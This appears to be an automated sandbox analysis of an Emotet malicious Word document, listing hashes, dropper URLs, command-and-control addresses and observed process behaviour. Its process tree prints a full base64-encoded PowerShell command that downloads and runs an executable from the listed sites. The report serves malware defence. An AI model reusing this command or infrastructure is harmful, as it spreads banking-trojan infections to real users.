emotet | b2c6b1b963855fbf097accd55a62c09a1e79f547a6889ac3d86b25abdbcf2183

Analysis

max time kernel
135s
max time network
136s
platform
windows10_x64
resource
win10
submitted
17/08/2020, 17:15

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General

Target
emotet_e3_b2c6b1b963855fbf097accd55a62c09a1e79f547a6889ac3d86b25abdbcf2183_2020-08-17__171429._doc.doc
Size 232KB
Sample200817-3prvszkyys
SHA256 b2c6b1b963855fbf097accd55a62c09a1e79f547a6889ac3d86b25abdbcf2183
MD5 056dfa63b1aeb0891ae27b92d2cf6085
SHA1 8c3f8daa3a845031005321c2bf9a67a62bda2dfd
SHA512 7352a09671155cca7c11a940058e5dac802cb4c50db366c4a861f283506eb48ffc503f2ac775b2b954dd9b7482a2d6ebb9ee82e1d3805adc3ea514ac93e39580
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://muliarental.com/f9u8w-mrs-88/VWVA/
exe.dropper
https://dev.dosily.in/wp-content/qyY/
exe.dropper
http://behnasan.com/wp-content/uZRqx/
exe.dropper
http://www.leframe.com/zcMv/tATDYnJy/
exe.dropper
http://runderfulthailand.com/jkats/LvJDvtg8270/

Extracted

Family

emotet

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
105.213.67.88:80
190.53.144.120:80
203.153.216.182:7080
81.214.253.80:443
195.201.56.70:8080
201.213.177.139:80
31.146.61.34:80
177.144.130.105:443
92.24.51.238:80
197.83.232.19:80
105.209.235.113:8080
188.0.135.237:80
176.9.93.82:7080
190.164.75.175:80
188.251.213.180:443
87.106.231.60:8080
113.161.148.81:80
97.104.107.190:80
86.57.216.23:80
192.163.221.191:8080
115.79.195.246:80
5.79.70.250:8080
41.84.237.198:443
46.105.131.68:8080
77.74.78.80:443
105.184.233.166:80
91.83.93.103:443
187.64.128.197:80
185.208.226.142:8080
177.32.8.85:80
46.32.229.152:8080
177.37.81.212:443
66.61.94.36:80
190.212.140.6:80
212.112.113.235:80
190.190.15.20:80
75.127.14.170:8080
172.96.190.154:8080
192.241.220.183:8080
41.185.29.128:8080
182.176.95.147:80
37.46.129.215:8080
181.134.9.162:80
201.235.10.215:80
181.113.229.139:443
181.114.114.203:80
179.5.118.12:80
178.33.167.120:8080
198.57.203.63:8080
185.142.236.163:443
71.57.180.213:80
115.78.11.155:80
217.199.160.224:8080
172.105.78.244:8080
115.165.3.213:80
202.5.47.71:80
81.17.93.134:80
74.208.173.91:8080
192.210.217.94:8080
179.62.238.49:80
157.7.164.178:8081
143.95.101.72:8080
182.187.139.200:8080
216.75.37.196:8080
139.59.12.63:8080
203.153.216.178:7080
50.116.78.109:8080
51.38.201.19:7080
107.161.30.122:8080
177.94.227.143:80
78.189.60.109:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3736	3876	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1196-22-0x0000000000740000-0x000000000074C000-memory.dmp	emotet
behavioral2/memory/1196-22-0x0000000000740000-0x000000000074C000-memory.dmp	emotet
behavioral2/memory/1600-25-0x0000000002150000-0x000000000215C000-memory.dmp	emotet
behavioral2/memory/1600-25-0x0000000002150000-0x000000000215C000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
11	3736	powersheLL.exe
13	3736	powersheLL.exe
15	3736	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1196	Ycfq.exe
1600	Windows.Graphics.Printing.3D.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDTZM\Windows.Graphics.Printing.3D.exe	Ycfq.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
792	WINWORD.EXE
792	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3736	powersheLL.exe
3736	powersheLL.exe
3736	powersheLL.exe
1600	Windows.Graphics.Printing.3D.exe
1600	Windows.Graphics.Printing.3D.exe
1600	Windows.Graphics.Printing.3D.exe
1600	Windows.Graphics.Printing.3D.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3736	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
1196	Ycfq.exe
1196	Ycfq.exe
1600	Windows.Graphics.Printing.3D.exe
1600	Windows.Graphics.Printing.3D.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3736 wrote to memory of 1196	3736	powersheLL.exe	74
PID 3736 wrote to memory of 1196	3736	powersheLL.exe	74
PID 3736 wrote to memory of 1196	3736	powersheLL.exe	74
PID 1196 wrote to memory of 1600	1196	Ycfq.exe	76
PID 1196 wrote to memory of 1600	1196	Ycfq.exe	76
PID 1196 wrote to memory of 1600	1196	Ycfq.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_b2c6b1b963855fbf097accd55a62c09a1e79f547a6889ac3d86b25abdbcf2183_2020-08-17__171429._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:792

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Users\Admin\AppData\Local\Temp\Ycfq.exe
  "C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\SysWOW64\KBDTZM\Windows.Graphics.Printing.3D.exe
    "C:\Windows\SysWOW64\KBDTZM\Windows.Graphics.Printing.3D.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1600

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/792-15-0x00000151EE569000-0x00000151EE56B000-memory.dmp

Download

memory/792-10-0x00000151EE3A8000-0x00000151EE3AD000-memory.dmp

Download

memory/792-12-0x00000151EBB31000-0x00000151EBB3A000-memory.dmp

Download

memory/792-13-0x00000151EE56C000-0x00000151EE571000-memory.dmp

Download

memory/792-14-0x00000151EE56C000-0x00000151EE571000-memory.dmp

Download

memory/792-0-0x00007FFECDFD0000-0x00007FFECE696000-memory.dmp

Download

memory/792-1-0x00000151EDCC0000-0x00000151EDCC4000-memory.dmp

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memory/792-9-0x00000151EE3A8000-0x00000151EE3AD000-memory.dmp

Download

memory/792-11-0x00000151EE3A8000-0x00000151EE3AD000-memory.dmp

Download

memory/1196-22-0x0000000000740000-0x000000000074C000-memory.dmp

Download

memory/1600-25-0x0000000002150000-0x000000000215C000-memory.dmp

Download

memory/3736-18-0x000001A5CEC10000-0x000001A5CEC11000-memory.dmp

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memory/3736-17-0x000001A5B6860000-0x000001A5B6861000-memory.dmp

Download

memory/3736-16-0x00007FFEC6740000-0x00007FFEC712C000-memory.dmp

Download